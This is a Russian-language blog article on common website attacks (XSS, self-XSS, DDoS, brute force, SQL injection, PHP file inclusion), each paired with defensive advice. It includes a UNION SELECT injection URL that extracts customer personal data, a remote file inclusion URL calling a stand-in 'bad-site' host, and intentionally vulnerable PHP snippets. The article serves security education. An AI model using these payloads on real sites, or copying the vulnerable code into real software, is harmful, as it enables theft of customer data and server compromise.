logo
Web
Черушев Никита
Черушев Никита
VK

Как взламывают сайты и как от этого защититься

“Система коллективной ответственности на деле оборачивается системой коллективной безответственности.” – Григорий Чухрай.

Как взламывают сайты и как от этого защититься

Введение

Веб-безопасность – это не шутки. Веб-сайты – это самый крупный рынок среди всех IT-технологий, поэтому здесь масса желающих незаконно заработать на чужих данных и человеческой глупости. Статья несет информационный характер и призвана познакомить людей с самыми распространенными способами взлома веб-ресурсов.

Логика повествования статьи построена следующим образом: сначала описывается угроза, после описывается один или нескольких способов, которые могут помочь избежать нежелательного воздействия.

XSS-атаки

XSS-атака – межсайтовый скриптинг, одна из разновидностей атак на веб-сайты во время которой злоумышленник внедряет вредоносный JavaScript-код в исходный код какой-либо страницы атакуемого веб-сайта.

Делается это очень просто: взломщик может отправить какой-то текст с HTML кодом через форму обратной связи. Это может быть комментарий в блоге или даже заказ с корзины интернет-магазина.

пример xss атаки
Пример кода XSS-атаки.

В данном примере злоумышленник отправит на атакуемый сервер такой код. Включая 4 строку и все что находится ниже (в теге <script>) не будет отображено браузером. Браузер посчитает это командой и выполнит данный код. Он отправит на сайт с 12 строчки ваши cookie. Подробней о cookie можете почитать тут.

Многие CMS и CRM системы используют cookie для авторизации в систему. Например, раньше такое использовалось в Одноклассниках и Вконтакте чтобы пользователь после перезагрузки браузера мог не вводить пароль снова.

Если Ваша CMS и CRM (или любимый сайт) используют данную технологию (а они скорее всего используют), то злоумышленник, получивший ваши cookie, может авторизоваться с помощью Вашего аккаунта на сайте. И ему не нужно будет вводить какие-то пароли.

Как защититься от XSS-атак

Нужно обрабатывать весь пользовательский контент, который может попадать на сервер. Для этого достаточно хорошо знать язык программирования с помощью которого написан Ваш сайт.

Если это PHP, то один из вариантов это с помощью регулярного выражение получать текст обходя HTML теги. И только после этого сохранять полученный текст в базу данных. Второй вариант – это применять встроенные функции для очистки кода от вредоносных скриптов. К ним относятся такие функции как htmlspecialchar(), htmlentities() и strip_tags(). Как вы догадались, все это делается так же перед сохранением текста в базу данных.

Self-XSS-атаки

Почти в любом популярном браузере есть инструменты разработчика, которые можно попытаться активировать с помощью клавиши F12 (Любая ОС, главное отдельная клавиатура с кнопками F1-F12), или комбинаций клавиш Ctrl+Shift+I (Windows), Option+Command+I (Mac). Если у Вас Google Chrome то попытка будет успешной.

пример self-xss
Справа показаны инструменты разработчика с открытой консолью. Текст в консоли предостерегающий о self-xss может и не присутствовать как на примере выше.

Внутри инструментов разработчика есть раздел Console, который позволяет выполнять любой JavaScript код. Если сюда вставить код из раздела о XSS-атаках (самая первая картинка после обложки), то он будет немедленно выполнен, и Ваши cookie будут отправлены в чужие руки.

Как защититься от Self-XSS

Если не пишите на JavaScript и не знаете что выполняет код, который Вас просят отправить в консоль – не делайте этого.

DDoS-атаки

DDoS-атаки (Distributed Denial of Service) – это вид «чистых» атак, то есть никакого фактического взлома веб-сайта нет, нет получения доступа к конфиденциальным данным, а присутствует лишь нагрузка на ресурсы сервера (нагрузка на жёсткий диск, оперативную память, процессор).

Грубо говоря, нежелательный гость создает несколько тысяч заходов на сайт за очень короткий промежуток времени. Любой сервер имеет свой максимум: какой-то может выдерживать одновременно только 100 пользователей, а какой-то 100.000.

Целью атаки является ограничение доступа пользователей к сайту с помощью сильной нагрузки на системные ресурсы веб-сервера, на котором расположен веб-сайт. DDoS-атаки являются самыми популярными, так как позволяют загрузить системные ресурсы практически любого сервера не оставив юридических улик.

Как защититься от DDoS-атак

Защититься от DDoS-атак можно с помощью сторонних сервисов (например, Shield от Google, который сканирует каждый запрос перед тем как перенаправить его на Ваш сервер) или с помощью инструментария, который предоставляет хостинг провайдер.

Многие хостинг-провайдеры работают с Cloudflare, Incapsula и SUCURI, которые помогают успешно фильтровать злокачественный трафик. Т.е если Вы покупаете уже готовый облачный хостинг (не VDS) в reg.ru или netangels.ru, то защита от DDoS-атак будет уже иметься. Но если Вы арендуете свою VDS – придется самим позаботиться о защите.

VDS – (Virtual Dedicated Server) это индивидуальный выделенный сервер, у которого помесячная плата ниже чем у классического хостинга, но который требует постоянного контроля со стороны системного администратора из-за ограниченной (урезанной) поддержки хостера.

Brute-force

Brute-force – это атака, суть которой заключается в многократном переборе комбинаций логин-пароль. Например, для доступа в административную панель вашего любимого WordPress сайта. Во время проведения атаки злоумышленник формирует скрипт, который в автоматизированном режиме отправляет POST запрос на URL по которому проводится авторизация.

Как защититься от Brute-force

Для защиты от данной атаки следует воспользоваться капчей (это когда Вас в Яндексе просят ввести буквы с картинки) или учитывать количество попыток входа в администраторскую панель сайта и блокировать IP-адрес если количество входов превысило определенное значение. Если злоумышленник использует прокси-сервера, то защититься от данной атаки поможет только капча.

примеры recaptcha
Пример работы “скрытой” Google reCaptcha. Она автоматически фильтрует трафик, как видно на скриншоте 11% из 861 запросов были заблокированы.

SQL-инъекции

Проблема намного серьезней чем XSS, ведь с помощью SQL-инъекции можно отправить сервер поспать (сломать) или вообще получить всю важную информацию через базу данных.

SQL – это декларативный язык программирования с помощью которого сервер в лице PHP, Node.js, Python обращается к SQL-подобной базе данных. SQL подобные базы данных это самые распространенные базы данных в веб-приложениях, их используют все популярные CMS начиная от Битрикса и WordPress, и заканчивая ModX.

Ниже мы покажем на примере SQL-инъекцию, если Вы вдруг ничего не поймете – не страшно. Данную информацию тяжело воспринимать без технических знаний (SQL и PHP).

Например, злоумышленник представил, что запрос получения информации о товаре на сайте выглядит примерно следующим образом:

SELECT * FROM catalog_products WHERE id = идентификатор;

«Идентификатор» это абстрактная переменная которая может браться из GET-параметра product_id в URL-адресе. URL будет иметь вид: https://site/catalog?product_id=2109.

Значит где-то на сервере происходит что-нибудь по типу следующего кода:

$id = $_GET[‘product_id’];

$sql = ‘SELECT * FROM catalog_products WHERE id = “’ . $id . ’”;

return $database->getOneRow($sql);

Если злоумышленник убедится в том, что на сервере при формировании запроса происходит конкатенация (склеивание строк) без их предварительной обработки, то он может внедрить вредоносный код в SQL-запрос. Например, сформировав ссылку вида: https://site/catalog?product_id=2109 GROUP BY 8. Где GROUP BY 8 – это подбор количества возвращаемых полей. Если скрипт не выдаст ошибку (злоумышленник получит необходимую информацию через браузер), то значит SQL-инъекция удалась.

Допустим, злоумышленник знает, что существует таблица orders, в которой хранится ФИО клиента (столбцы firstname, lastname, middlename), email (столбец email), телефон (столбец phone) и домашний адрес покупателя (столбец address).

Сформировав URL вида https://site/catalog?product_id=2109’ UNION SELECT firstname, lastname, middlename, email, phone, address, 7, 8 FROM orders WHERE id=1 злоумышленник получит всю информацию о заказе с идентификатором 1. Таким образом он может перебрать все заказы на сайте.

Как защититься от SQL-инъекции

Защититься от SQL-инъекций можно с помощью использования подготовленных запросов (prepared statements), экранирования специальных символов и правильного разграничения прав на запросы к базе данных. Этим должен заниматься специалист имеющий опыт в проектировании баз данных.

PHP-инъекции

Тоже довольно сложный материал для восприятия, если нет нужных технических навыков (знание PHP).

PHP-инъекция – это один из видов атак, которые построены на основе выполнения стороннего PHP-кода на сервере. Существует ряд потенциально опасных функций, с помощью которых можно провести PHP-инъекцию:

eval();

preg_replace() (с модификатором «e»);

require_once();

include_once();

include();

require();

create_function().

Простейший пример PHP-кода, который может привести к инъекции:

$file = $_GET[‘file’];

include_once($file);

По данному выше коду можно понять, что путь к файлу берётся из GET-параметра в URL (ссылка имеет вид https://site/?file=файл.php).

Злоумышленник может создать файл с вредоносным кодом на своем сервере (например, https://bad-site/injection.php) и затем подключить файл по ссылке https://site/?file=https://bad-site/injection.php и выполнить любой php-код.

Как защититься от PHP-инъекции

Для защиты от атак как на примере выше, следует проверять есть ли в $_GET[‘file’] недопустимые символы типо http или https (например, функцией strpbrk или stripos), есть ли файл в списке существующих (например, есть ли такой элемент в массиве разрешенных файлов).

Ещё одним из вариантов избавления от данной уязвимости является выставление в конфигурационном файле PHP (php.ini) значения Off для константы allow_url_fopen. Также, одним из вариантов может являться подключение файлов с указанием абсолютного пути (например, используя константу $_SERVER[‘DOCUMENT_ROOT’]).

Итог

Доверяйте разработку сайта и веб-приложения профессионалам своего дела, тогда и проблем с безопасностью будет меньше.

Оставьте комментарий

Нажимая на кнопку, вы даете согласие на обработку персональных данных и соглашаетесь c политикой конфиденциальности

Нет комментариев